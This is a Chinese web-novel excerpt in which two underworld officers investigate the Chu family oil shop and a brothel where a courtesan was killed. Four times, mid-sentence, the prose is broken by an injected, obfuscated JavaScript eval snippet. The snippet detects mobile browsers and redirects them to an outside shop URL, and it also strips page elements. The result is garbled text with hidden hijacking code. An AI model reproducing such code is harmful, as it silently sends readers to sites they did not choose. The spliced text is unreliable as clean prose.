说着说着楚宏竟然还哭了起来,秦霍霍见状知道他肯定是想到了自己的混账二儿子,她从怀中掏出一块手帕递给楚宏,还拍了拍他的肩膀。 这一拍楚宏反复得到了认可,在殿中放声大哭起来。 秦霍霍意识到自己好像闯祸了,立马从他手里抢回了手帕,然后说:“咳……咳……不准哭了,继续说下去,不然一会阎王老爷就把你关到最下层的牢房去!” 楚宏这才渐渐收住了哭声,继续说:“后来我的夫人有了身孕,生下了我那混账的二儿子,再后来我就被活活气死了。” “你可有隐瞒?”判官作为助理又开口道。 楚宏的头摇了摇头,“小人不敢有任何欺瞒。” 阎王看楚宏的样子也不像敢骗自己的样子,就让一旁的牛头马面将楚宏带了下去。 牛头马面走后,阎王摸着两撇八字胡看向秦霍霍开口问道:“你跟白永宁遇到的幻境,你可有猜到是何物所为?” 秦霍霍认真的思考了一会开口道:“完全没有。” 阎王被她一句话噎着差点要气死,正准备开口教训两句,就又听秦霍霍开口。 “不过如果我跟小白可以解决这次的事情,可以给我多加点功德吗?” 阎王还以为她有什么好的想法,结果到头来却是在跟自己讨要功德,无语道:“那是自然,但你若是完不成可是要扣功德的。” ‘死资本家一天天就找机会为难我。’秦霍霍心里怒骂阎王资本家,脸上却还是露出打工人的微笑回复道:“没问题。” 离开阎罗司秦霍霍就直奔白永宁的住所,一开门就看到白永宁正在梳头。 只见他坐在镜前将一头乌黑齐地的头发披散下来,手中拿着把木梳子认真的梳着,听到动静放下梳子就转头往门口走去。 正好就跟往里冲的秦霍霍撞了个正着,秦霍霍被眼前这个连脸都看不见的脑袋吓了一跳。 “小白你在干嘛啊!” 白永宁将自己脸前的头发拨开,有些委屈的看着秦霍霍道:“我在梳头啊,我们无常每天都要梳头的。” 秦霍霍刚来地府的时候就听其他无常说过,无常的头发每天都会仔细的梳洗打理。当时她还问了为什么,毕竟无常的头发很长打理起来很不方便,但那些无常也说不出个所以然,只说大家都这么做,所以后面的无常也就照做了。 不过秦霍霍从来不梳头,反正她也不是真正的无常,她给自己的头发施了个仙术,无论做什么头发都不会乱,以前每天早上起床头发还会打结,现在好了再也不用感受头发打结的时候撕扯的疼了。 但是来了好几个月了,无常梳头的样子她也是第一次见到,没想还挺吓人的。 “你怎么样了?”秦霍霍看了一眼白永宁之前变成半透明的腿部,现在也已经恢复的差不多了。 白永宁点了点头道:“酆都城的鬼气很浓,已经没什么大碍了。” 酆都城虽然阴森森的还到处充斥着浓郁的鬼气,对于秦霍霍这种本就不是鬼的来说会有一些不舒服,但是对于白永宁这样的鬼差来说,简直就像是泡在了十全大补的温泉里面。 只要魂魄还在都可以慢慢的养回来,只是如果太严重了可能需要休息个上百年。 白永宁虽然这次魂魄受到了一些损伤,但也并不算太严重,而且回来也有几个时辰了,已经好的差不多了。 秦霍霍见状便将楚家油坊中发生的事情给他讲了一遍 白永宁听罢皱着眉摇了摇头,从他出发到进入楚家油坊的过程并没有任何奇怪的事情发生,或者说他根本不记得有任何奇怪的事情发生。 “那你有见到什么奇怪的人么?”秦霍霍又问道。 白永宁又摇头。 “真就一点异常都没有么?” 白永宁又准备摇头。 秦霍霍伸手抓住他的脑袋,从她进门到现在,白永宁就一直在摇头,看的她眼睛都疼了。 “知道了,知道了,都没有对吧。” 白永宁的脑袋被秦霍霍抓得动弹不得,挣扎了一下打算把自己的脑袋拿回来,结果不小心让脑袋跟脖子分家了,正准备伸手抢回脑袋的时候,就听到秦霍霍又开口道:“你说会不会是你死太久了,所以这个感觉就变得不灵敏了?” 白永宁听到她的话,开口道:“鬼差的感觉比活人敏锐。”说完又去抢了一把自己的脑袋结果还是没抢回来,无奈地说道:“能不能把脑袋先还给我?” 秦霍霍这才发现白永宁的脑袋不知道什么时候已经跟他的脖子分家了,手里的脑袋正幽怨的看着自己。 “抱歉抱歉,你的脑袋实在太轻了。”说完就把脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150688|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋安回了白永宁的脖子上,结果还给安反了,秦霍霍正准备拔起来再安一次的时候。白永宁直接把脑袋180度转到了正面。 白永宁也不生气,毕竟秦霍霍的一直如此,两人可能还要搭档几十年甚至上百年,如果事事都她计较的话,哪怕是个鬼也能给气的魂飞魄散。 他将自己的脑袋正了正同秦霍霍说道:“我们再去楚家油坊一趟吧。” 秦霍霍点头表示同意,故地重游确实也是一个让失忆患者恢复记忆的好方法。 到兴州府的时候正好是清晨,白永宁虽然是鬼差但也不能长时间接触阳光只能附身在了秦霍霍的挂饰中。 待二人进入楚家油坊,白永宁就立马从挂饰中出来。 毕竟这个柳木做的猫猫头挂饰跟他的形象差距实在太大了,本来他是死活都不愿意的,但秦霍霍说如果他不愿意就把猫猫头换成一个猪头,白永宁权衡了一下觉得还是猫头好一点,毕竟他更不想成为猪头。 油坊内的一切都如同上次走时相差无二,角落结满了蛛网,家具上也落满了灰,但还不到破败的程度,看样子只是有段时间没人打扫了。 “才一日光景,这就成了这般?”白永宁疑惑的问道。 秦霍霍看向一旁的白永宁开口:“这里一直都是这样的啊。”难道上次他进来的时候这里还不是这般景象? 白永宁环顾四周回忆道:“我上次进来的时候这里还不是如此,虽然屋内的一切算不得华丽,但也算是干净整洁的。” “你还记得你最后到了哪么?”秦霍霍听他的说辞,看样子白永宁并非一进门就进入了幻境之中。 “我记得我走到了后院,再然后我就看到你跟判官老爷。”白永宁一边说着一边就往后院的方向走去。 秦霍霍急忙跟了上去,她可不想再见一次那个纨绔白永宁,她怕自己到时候会忍不住打他。 不过这一次进入后院的时候却没有发生任何奇怪之事,后院之中也同其他地方差不多。种植的一些树木花草尤其无人打理,已经枯死了一部分,剩下的一些也已经半死不活了。 但白永宁似乎对于这后院的景象也很陌生,看来他刚一踏入后院就进入了幻境。 他们又将楚家油坊里里外外搜查了一遍,除了蜘蛛网跟遍地的灰尘落叶之外,其他多余的任何都都没有。 “看样子这里是找不到什么线索了。”秦霍霍直接坐到了地上,不顾地上遍地都是灰尘。 “可为何楚家大儿走得如此匆忙,甚至没有同自己的父亲说?”白永宁一边说一边拽起坐在地上的秦霍霍,顺便拿袖子帮她把身上的灰尘掸了掸。 秦霍霍拿出了猫猫头笑着对着白永宁说:“那就只能去问问周边的商铺了。” 白永宁看着猫猫头又看了又看屋外,此刻外面已经是晌午,阳光透过门上的破洞照进屋内已经让他感到有些许不适了,经过一番挣扎最终他还是妥协了,附身到了猫猫头中。 秦霍霍满意的摸了摸猫猫头,“小白真乖。” 5. 第五章 楚家油坊的位置很不错,大门的位置正对的就是整条街最繁华的路段,过往的行人无论是否需要买油都会经过这里,为了不引起别人的注意,秦霍霍特意从油坊的后门走。 刚出后门迎面便遇到了一个醉汉,他提着一壶酒晃晃悠悠的走,见到秦霍霍他竟直接上前调戏道:“哟,小娘子,穿的好有情趣阿,你是想抓走我么?”说完就准备伸手去摸秦霍霍的脸。 秦霍霍还是第一次见到敢调戏无常的,果然是酒壮怂人胆,于是便将无常的长舌头戴上,然后搭配上阴森森的语气问道:“哦?你真的想被我走抓走么?” 原本还在调戏秦霍霍的醉汉直接被吓得大喊道:“无……无……无常!我要死了!”然后就直接晕死过去了。 秦霍霍见人晕过去了,就将长舌取了下来,顺便抽了两下晕死在地上的醉汉。 “臭流氓,恶心。”还准备再踹上几脚的时候。 猫猫头中传出了白永宁的声音:“正事要紧。” 秦霍霍踹了一脚后将舌头收回了随身的布袋中,然后将醉汉丢到了一堆垃圾中。 “垃圾就该待在垃圾堆里。” 正准备走出巷子时,猫猫头又传出了声音:“你不换掉这身无常服是准备再吓死几个人?” 秦霍霍这才发现自己身上穿的还是工作服,于是直接给自己变了一套阳间少女们最常见的衣服。不得不说这个神女的身份还挺方便的,想要什么一般都可以直接变出来,省去了不少麻烦。 一出巷子,街上小摊贩的叫卖声以及来往的行人,终于让秦霍霍有了一种自己还没死的感觉。 她穿越到这也已经有好几个月了,刚睁眼见到的就是天帝的那张脸,在天界还没住几日又去地府当临时工了。因为小白的原因每次出门上班也只能在晚上,除了逝者家属基本上就很难再见到其他活人了。 长期晒不到太阳秦霍霍还担心过自己会不会缺少维生素D,不过很快这个担心就不存在了,因为她现在已经是神女了,应该也不用补充维生素了。毕竟从小到大她也没听哪个人说过某个神仙会因为长期不晒太阳就骨质疏松的。 不过长期接触不到活人,还是会让她感觉有些抑郁的。 虽说地府的鬼差很多,也有不少的鬼在地府暂时定居,可是鬼差大多都冷冰冰的不爱说话,普通的鬼又都很害怕秦霍霍的无常身份,不敢跟她说太多的话。平时除了折磨一下白永宁的耳朵以外就只剩下在房间里面睡觉的活动了。 “小白,你看好多吃的玩的啊。”秦霍霍兴奋的拍了拍猫猫头。然后又感慨道:“就跟在拍电视剧一样。” “拍电视剧是什么?”白永宁毕竟是个古代人,虽然跟秦霍霍相处久了也学会了一些现代的词汇,但是电视剧这样的词汇确实有点超出了的理解范围。 “就是戏剧。”秦霍霍翻译了一下,古代的电视剧不就是戏剧么。 说完她往四周看了一下,见到对面一个卖红薯的大妈正拉着隔壁卖鸡蛋的大妈聊天,看样子这里的情报中心已经找到了。她从身后套出一个油罐子然后认真的开始擦上面的灰。 “你哪来的罐子?”白永宁看着秦霍霍不知道从哪变出来的罐子问道。 秦霍霍看着手里被擦的快要可以反光的罐子道:“刚才在油坊里拿的。”说完拎着罐子就往大妈走去。 “大妈,您知道楚家油坊为什么关着门啊?”秦霍霍蹲在大妈的红薯摊前,装出一脸疑惑的问道。 大妈一听有人问起楚家油坊的事情立马就来了兴趣,一把就将秦霍霍拉到了自己跟卖鸡蛋大妈的中间。 红薯大妈一副你听我给你好好扒一扒的表情说道:“我也是听说的,这楚家油坊的当家得了那种病,怕被别人知道第二天就搬走了。” 鸡蛋大妈听她说完明显有不同意见,立刻开口道:“不是不是,这楚家油坊的当家是喝酒喝死了,他媳妇带着孩子回老家改嫁了。” 红薯大妈听完觉得鸡蛋大妈的版本好像更劲爆,准备再深入聊一下的时候,一旁正在挑红薯的小哥开口了:“都不对,这楚家油坊的当家是喝花酒败光了所有的钱,他就带着一家老小回她媳妇老家投奔老丈人去了。” “真的假的?”红薯大妈半信半疑地问。 小哥一听有人质疑自己立马就来了精神,凑进红薯大妈说道:“我就是翠秀阁的厨子,那楚家当家的天天来我们那喝花酒,有时候都直接住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150689|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里头的,那你想翠秀阁是什么地方啊。”说到这小哥停顿了一下观察几人的反应又接着道:“赫赫有名的销金窟啊,那楚家当家开个油坊能挣得了多少银子,这不没多久就全花光了,最后被赶出来的连衣服都没穿好呢。”说完又买了几根红薯就走了。 红薯大妈跟鸡蛋大妈听完小哥说的话也顾不上秦霍霍了,当即就开始批判楚家大儿的种种行为,顺便为楚家大儿的媳妇抱不平。 秦霍霍从两个大家中间退了出来,拿着猫猫头对白永宁说道:“这楚家大儿也太恶心了吧,竟然天天出去嫖妓,我要是她媳妇我就让他变成太监。”说完还觉得不解气又跑到楚家油坊踹了两脚。 “你觉得他真是这种人?”见秦霍霍已经发泄的差不多了,白永宁这才开口道。 秦霍霍听到他的话,以为他是想着渣男做辩解,气愤地说:“别人都亲眼看到了,还能是假的?”说完又补了一句:“难道你生前也是这种人,所以被人给打死了?” 如果不是猫猫头不能翻白眼,此刻白永宁的白眼应该已经翻到头顶去了。 “如果他是这种人,那楚宏为何一直觉得愧对这个大儿子。” “也许他性情大变?” “应当没那么简单,就算是性情大变也肯定经历了什么事。” 秦霍霍冷静下来后也觉得这个事情太奇怪了,如果楚家大儿是这种人,那他跟楚宏的二儿子有什么区别,楚宏干嘛还要特地给他送遗书,提到他的时候楚宏甚至还愧疚的落泪了。 “看样子要去一趟翠秀阁了。” 听到秦霍霍的话白永宁沉默了很久,久到秦霍霍以为白永宁睡着了,她还拍了两下猫猫头。白永宁这才开口:“那里……那里……你是女子,不可。” “…………” 秦霍霍没想到白永宁一直不说话,竟然是因为觉得她是女子不方便进出这种地方。 “哎呀,别这么古板,再说我也可以变个男身的。”说完也不容白永宁再反驳,直接把猫猫塞进了袖口里。 开什么玩笑,那可是古代的歌舞坊呀,秦霍霍长这么大连酒吧就没去过,现在好不容易可以去涨涨见识了,岂能因为小白古板的思想就不去了呢。 6. 第六章 教坊街中的所有歌舞坊都会在日落之后的一刻开始营业。 秦霍霍给自己变换了一个男子的样子,又给白永宁换了一套衣服,跟他在幻境中的衣服那套衣服样式很相似,只是从粉色换成了蓝色,秦霍霍觉得白永宁长这么白穿蓝色肯定好看,至于他那一头长发秦霍霍直接全部束到了头顶,然后用了一个银色的发冠簪住,做完这些秦霍霍看着自己的杰作满意的点头说道:“不错不错,像个人了。” 白永宁看着镜中的自己,虽然脸上依然苍白没什么血气,但是从打扮上看确实跟阳间的那些公子哥差不多。 “其实我们小白还是挺帅的,小白你生前是什么样的啊?”秦霍霍看着白永宁的样子,忍不住想到了那日在幻境中,他也是如此打扮,却截然不同的性格,好奇的想白永宁生前到底有什么样子的。 白永宁沉默了许久才开口道:“生前的事情,我不记得了。” 秦霍霍见他不愿意说,撇撇嘴也不好再继续追问下去。 夜幕之下的教坊街与白天的景象截然不同,虽然已经是晚上了,但是此刻这里却是灯火通明。 虽说在现代也有不少城市会再晚上的时候,把商业照的跟白天一样亮,可这里是古代,并没有各种各样的射灯,完全是靠着蜡烛,竟然也可以照的跟白天一样。 刚进入教坊街还没走两步,就有不少姑娘将二人团团围住。 “小公子,你怎么这般冷呀,需不需要奴家帮你暖暖。”一个浓妆艳抹的女子直接贴上了白永宁,白永宁本想要推开她,可是那个女子死死扒着他的肩膀,就是不给他推开自己的机会。 “起开。”白永宁冷冰冰的对着那女子说道。 那个女子也不愧是教坊中人,面对白永宁着冷冰冰的表情跟语气,竟然还贴的更紧了。 “小公子,奴家也是心疼你,你瞧瞧你这身上这般冷要是冻坏了可如何是好,不如到我们翠秀阁去,我找姐妹们一起帮你暖身子。”说完还不忘在白永宁的胸口蹭一下。 秦霍霍本来还在看热闹,就听到那个女子竟然就是翠秀阁的,出手一把搂过那个女子笑着说道:“姐姐莫怪,他是呆瓜不解风情,我同姐姐去。”走之前还不忘将白永宁从一群姑娘的手中解救出来。 刚进大门,白永宁就好像发现了什么一样皱着眉看向秦霍霍。 秦霍霍好奇的贴近白永宁小声问道:“怎么了?” 白永宁话到了嘴边又看到面前的女子,把话咽了回去。 那女子将秦霍霍跟白永宁带到了二楼的一个包间后便退了出去。 人一走秦霍霍马上凑到白永宁身边问道:“你刚才要说啥?” 白永宁:“这里有人供奉了牌位。” 秦霍霍:“你怎么知道的?” 白永宁叹了一口气,无语道:“我闻到了香火的味道。” 秦霍霍这才恍然大悟地“哦”了一声。 鬼对香火的味道是很敏感的,白永宁虽然身为无常,但本质上也还是鬼,所以自然也会对香火的味道很敏感。而秦霍霍并不是鬼,对这种香火味道就基本察觉不到了。 不过谁会在这里供奉牌位啊。翠秀阁毕竟是个寻欢的地方,在这种地方供奉牌位确实很奇怪,不怕吓死那些公子哥么。 “我们去看看。”说完秦霍霍就开门准备出去,白永宁一把拉住了她说道:“你这个样子准备去哪里?” 秦霍霍这才发现自己现在是个实体,当无常的时间久了,秦霍霍也习惯了当个透明人,可以到处晃也没人看见她的样子,现在突然恢复了实体的样子,一下子她还没反应过来。 “忘了忘了。”秦霍霍一边恢复了无常的状态一边准备往外走去,一只脚才刚踏出房门,突然又回头看着白永宁问道:“你为什么刚才不传音给我?” 白永宁愣了一下,尴尬地说道:“忘了。” 跟秦霍霍待久了,很多事情她都喜欢用凡人的方式处理,两个人从来也没有用过传音术,时间久了白永宁自己也忘了还有这个术法的存在了。 秦霍霍看着白永宁的样子,好似扳回了一城,笑着往外走去。 白永宁看着秦霍霍的样子无奈的笑了一下,随即也恢复了无常的样子跟了出去,走之前往屋内丢了两个纸人,让他们变幻成自己跟秦霍霍的样子,不然两个大活人突然消失容易把别人吓死。 “你以前来过这种地方?” 秦霍霍跟在白永宁的身后,听到他冷不丁的问了一句。 “没有啊。” “那你……”白永宁犹豫了一下继续说道:“这么熟练。” 秦霍霍这才反应过来,原本他说的是自己刚才在门口搂住那个烟花女子的事情。 “以前经常见。”青楼自己当然是没来过的,不过古装剧里或多或少都演过,就算没吃过猪肉总见过猪跑吧。 白永宁突然停住了脚步,秦霍霍一路上一直在东张西望的,根本没注意前面的人已经停下来了,结结实实的撞到了白永宁的背上,痛着捂住自己的鼻子埋怨道:“嘶,你干嘛突然停下啊。” 白永宁转过身看着她开口道:“你经常蹲在门口窥视别人,不好。”说完就继续往前走去。 “……” ‘不是,这人有病把?怎么会觉得自己没事蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150690|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在门口盯着别人啊。’秦霍霍看着白永宁的背影无语的翻了一个白眼。正准备开口解释一下自己并没有干这种变态事情的时候,就听到白永宁又开口:“这里。” 秦霍霍揉着自己的鼻子凑上前去,只见面前是一间上了锁的房间,房门的样式与阁中其他的房门样子并没有什么不同,秦霍霍扒着门透过门上的纱往里边望了一下,隐约看到一些光亮还有一些木牌立着,里面还传出了阵阵淡淡的檀香气味,跟秦霍霍以前经常去寺庙祈求报复的时候闻到的味道很相似。 虽然知道屋内供奉了牌位,但进门之后秦霍霍还是被屋内的牌位数量吓到了。 这里跟他们最开始待得房间大小一样,只是这里四角都摆上了长明灯,而正中间没有却没有摆放任何装饰,只有数十个牌位摆放在中间,每个牌位的前面都摆放着一个香炉坛子,里面的香灰也已经积了不少,看样子每天都有人来这里上香。 “为什么都是空白的?”秦霍霍凑近了想看一下牌位上的名字,却发现这里所有的牌位都是空白的,她疑惑的看着白永宁问道。 白永宁也发现了这里的牌位都是空白的,但是他也是第一次见到空白牌位。 如果牌位上没有逝者的信息的话,这些供奉的香火对方都是接收不到的,除非对方是个无名无姓之人,不然必然会在牌位上写上对方的姓名,哪怕只知道一个姓氏也会写上去。 秦霍霍看着一屋子的无名牌位无奈道:“看样子我们还是只能回去了。” 白永宁知道她说的是那些教坊内的风尘女子,毕竟这些牌位被供奉在这里,这里的姑娘或多或少肯定知晓一些。 回到包厢的时候,两个纸人正被两个衣着暴露搂着喂酒,两个纸人身上附着了秦霍霍跟白永宁的一丝气息,所以纸人的性格也同二人相差无几。 白永宁样子的那个纸人,不管对方喂什么都不接,那姑娘见状只好把酒杯直接喂到嘴边,没想到纸人直接推开了对方的手,那姑娘见他对自己爱答不理,将酒杯一放就打算直接靠上去,结果那个纸人竟然直接站了起来,对方扑了个空竟然摔在了地上。 秦霍霍见状拍拍白永宁的肩膀说道:“你这个纸人跟你一模一样,一点也不懂怜香惜玉,你看我多懂得照顾人。” 另一个秦霍霍样子的纸人,此刻手里正搂着另一个姑娘,一边喝着对方递过来的酒,一边在对方的脸上摸了一把。 “轻浮,不要脸。”白永宁看着秦霍霍一脸自豪的样子,直接一挥手将窗户全部打开,大风将屋内的烛光吹的乱晃,两个姑娘立马起身去关窗,趁这个空挡两人变幻回之前的样子,替换掉了两个纸人。 7. 第七章 两个姑娘整理着被风吹乱的头发与衣衫,有点疑惑地说:“这日子怎能刮这么大的风。” 白永宁有些心虚的轻咳了一声,本也没想把风弄那么大,只是想引开二人而已,结果因为秦霍霍那些话一时没收住。 其中一个姑娘见白永宁咳了一下,还以为是刚才的风吹着了不舒服,推了一把另一个姑娘道:“迟迟,你快给公子喂上一杯热酒。”自己则是同刚才一样想要往秦霍霍的怀中倒去。 虽然同是女生,但是突然一个陌生的女孩子对自己这么热情,多少还是有些不适应,下意识伸手推了一下。 那姑娘也没想到秦霍霍会推开自己,表情有一瞬的诧异,但很快又恢复了笑容。 秦霍霍看到她的表情,不禁在心里给她竖了一个大拇指,不说别的就说这表情管理也是真牛,如果不认真看可能还发现不了,对比一下内娱某些时不时喜欢黑脸的爱豆们,职业素养简直拉满了。 “秦公子,莫不是饿了?怎么娇娇轻轻一靠就扶不住了?”叫娇娇的姑娘一句话,就缓解了刚才被推开的尴尬,随即就伸手拿起了放在桌上的筷子,夹起一块鱼腹放到秦霍霍的碗中。还不忘给秦霍霍介绍:“这道油泼鱼可是我们这的招牌,只可惜再过阵子可就尝不到了。” 秦霍霍看着碗中泛着油光的鱼肉,卖相上已经是相当不错了,那鱼肉上带着几根青红椒丝,鱼皮看样子应当是煎过,微微有一些焦褐色。秦霍霍虽然不太爱吃鱼,但看着碗中的这块鱼肉就感觉味道应该是挺不错的。 “为何说以后就吃不到了?是厨子要走了,还是鱼贩子要走了?”白永宁见秦霍霍一直在研究碗中的鱼肉,适时的开口问道。 一旁站着的迟迟姑娘此刻开口道:“唉,我们这阁中的油原本用的是楚家油坊产的油,可自打那他们搬走后,我们阁中存的油现下也用的七七八八了,不知道日后还能去哪里寻得如此好的油了。” 听到楚家油坊这几个字,秦霍霍终于是把注意力从鱼肉身上挪回了其他几个人的地方。 “按迟迟姑娘的说法,这楚家油坊产的油这么好,那想来生意肯定是不差的,何故就要搬走了呢?”秦霍霍顺着迟迟的话往下说。 脸上的笑脸从不曾消失过的二人,此刻竟都露出了鄙夷的表情,就好像是想到了什么污秽之物一般,迟迟开口答道:“那楚家掌柜搬走前一阵子天天往我们这跑,有时大伙看不下去便故意不接待他,没想到他转头就去了隔壁。” “前几日我在路上还碰到了楚家大娘子,整个人都憔悴了许多,那么好的一个人人怎么会遇到这样一个人渣。”娇娇也开口道,语气中是藏不住的惋惜。 “那楚家大娘子怎会嫁给这种人呢?” 迟迟凑近了神秘兮兮的样子,小声道:“他是中邪了。” “哦?会有这么离奇的事情?”秦霍霍装出一副坚定相信唯物主义的样子,也凑近了惊讶的问道。 可能八卦是每个人的天性吧,那两人听到秦霍霍仿佛对此时饶有兴趣的样子,立马就搬来两把凳子围着她就坐了下来,看样子是准备要跟她好好扒一扒。 迟迟率先开口:“就是呀,秦公子我看你应该也不是我们这的人,你不了解这个楚掌柜,他以前那可是出门送个油,回家都要给媳妇带点礼物的人。” 娇娇紧随其后道:“对啊对啊,每次来送油的时候还会问问我们,平时用的胭脂、簪子都在哪里买的,他觉着瞅着好看想买了送给自己娘子。” “哟,那还真是个好男人啊。”一直在一旁听着的仿佛隐身了的白永宁突然开口。 这一下给三个人都吓了一跳,白永宁的存在感低又不说话,三人沉浸在八卦中都快把他给忘了,冷不丁的一开口还是有点吓人的。 秦霍霍困惑的看着白永宁,以前听到八卦的时候,秦霍霍总会拉上白永宁一起参与,但是他总是觉得无聊,每次提供不了几句人就不见了,虽说这次不是单纯的听八卦,但是突然开口还是让秦霍霍觉得挺意外的。 另外两人以为白永宁也有兴趣,便把椅子往他那也挪了一点,好让他也能参与进来。 之后娇娇紧接着又说道:“哎哟,谁说不是呢,我们这些姐妹私下还说,要是以后能有像楚掌柜一样的人将我们赎出去就好了。” 说罢还跟迟迟两个人抱在一起一脸难过的样子。 “所以到底是怎么中的邪啊?”秦霍霍看话题要越跑越远了,直接就问出了重点。 两人听到秦霍霍的问题,开始认真思考起来,时不时还摇摇头好习惯在否定上一刻自己的想法,最终还是娇娇先开口:“应该是那日浮浮姐请他喝完酒之后。” 而一旁的迟迟听了也是认同的点点头。 \"只是喝酒?\"秦霍霍见过喝完酒发酒疯的,没见过有人发酒疯发几个月的啊。 ………… 根据两人的描述,秦霍霍跟白永宁得知原来那一日楚家大儿来这里送油,后来便同浮浮姑娘喝了两杯酒,这翠秀阁中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150691|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酒大多都是烈酒,才下肚两杯人就已经醉的起不来了,浮浮将他安置在了客房之中。 却不曾想第二日楚家大儿醒后,就像完全换了一个人,原本举止规矩处事稳重的人,竟当众调戏起了阁中的姑娘们,表情也是猥琐至极。 虽说姑娘们平日里这样的人也见了不少,但是楚家大儿异常的举动仿佛中邪一般,也是把她们吓到了,随即就叫来了阁中的护卫将他给赶了出去。 楚家大儿被扔出去的时候,路上不少人还认出了他,对着他指指点点的,平日里那么在乎脸面的一个人,此刻却还想着调戏那些走出来看热闹的姑娘们。 回去之后没多久楚大娘子就请了个道士给他驱邪,大家都以为驱完邪他就能恢复正常了,不曾想他竟然越发的混账。 没几日就又来了,还叫了四五个姑娘陪着日日宿在翠秀阁中,没钱就回家拿钱,家中的钱财没了就开始变卖楚大娘子的嫁妆首饰,有几次路过的人还听到他打楚大娘子的声音。 虽说大家都赶他出去,可是这里毕竟是开门做生意的,楚家大儿带着银子又没闹事,就算再不想也不能随随便便就把客人赶出去。 这样的日子持续大约两个月,楚家大儿彻底把油坊给败光了。楚家油坊本来也只是个小本生意,虽说做的红火但是赚的钱日子过得也还算富裕,但那也是楚家夫妇日日起早贪黑才有的结果,现在楚家大儿天天在翠秀阁里挥霍,能撑快两个月已经算是很不错了。 没了钱很快他就被赶了出去,大家本以为他回去之后会收敛一点,或是醒悟变回之前的样子。 可他却只是日日躺在后院,什么活都不干,稍有不顺心就打骂楚大娘子。 楚大娘子每日除了要经营油坊还要伺候楚家大儿,而楚家大儿的那些事情也传的人尽皆知,大家都觉得他家的东西不干净,久而久之来买油的人也越来越少。 钱赚不到出门还要被人指指点点,楚大娘子好歹也是清白人家的姑娘,最后实在忍受不下去了,便想着搬回自己娘家,楚家大儿自然是无所谓,反正在哪躺不是躺,没过几日,二人就趁着天黑搬走了。 ………… 秦霍霍觉得大约是那晚喝酒的时候发生了什么,便开口道:“莫不是那浮浮姑娘生的太过美丽,才把这楚掌柜迷成这般,喝个酒就变了个人,不知可否让我也看看?” “浮浮姐,前几日就走了……” “走?被人赎了身还是?” “她……她死了。” 8. 第八章 “小白你说怎么有这么可怜的人啊?”秦霍霍站在酆都城中的一家豆腐坊门口,一边问白永宁一边用手里的招魂幡一下又一下的杵着地。 白永宁听到她的问题也只是抿了抿嘴并没有接话,他们离开翠秀阁的时候问了一下浮浮的死因。 原来城中的富商张员外的四公子,已经承诺了会给她赎身并且娶她过门,虽说嫁进去也不过是去做一个小妾,但她想怎么也好过在翠秀阁中见不到头的日子,阁中的姑娘们都羡慕的很。 可赎身的前几日张四公子过来找她的时候,却突然说她在房中藏了别的男人,之后竟然就直接将她给活活打死了。 阁中的众人原本是想报官,因为浮浮对翠秀阁的姐妹们都很好,每次有人给她送了稀奇的玩意儿,她也总会送给大家,自己就只留一些寻常玩意儿。 可是那张员外跟府衙的大人相交甚好,她们报官之后府衙的老爷却说浮浮早已是张家之人,一个妾室私藏男人被打死这样的事情官府没法管。 最终张家给了阁中的妈妈一百两银子,当作是浮浮赎身的钱,就将这件事情给作罢了。事后张四公子竟然还跟个没事人一样,继续出入翠秀阁寻欢作乐。 明明是一件人命惨案,就因为犯事的是富商之子,就因为死的只是一个大伙认为毫无价值的青楼女子,区区一百两就将一条人命给买断了。 “无常老爷们,您二位找小女子么?”一个清脆又温柔的声音将两人的思绪给拉了回来, 秦霍霍抬眼看到眼前的人,一个看起来约莫大概二十岁不到一点的女生,虽然说穿着的是最普通不过的衣服,眉眼之间还散着一阵阵的死气,但是也能看出长得很好看,标准的鹅蛋脸、杏仁眼、樱桃小嘴和高鼻梁,大约是刚干完活的缘故,额间还垂着几缕头发,表情有些拘谨的看着他们。 “是浮浮姑娘么?”秦霍霍开口问道。 浮浮赶忙点头生怕自己无意间做错了什么。原来她死后是要受各种刑罚的,但阎王念在她生前经常会去接济老弱病残,又是被人给活活打死的,便免去了滚油锅等刑罚,只是将她安排在这个豆腐坊中做工。她在豆腐坊中日日努力工作不敢有一丝的怠慢,就是生怕自己哪里做的不好。 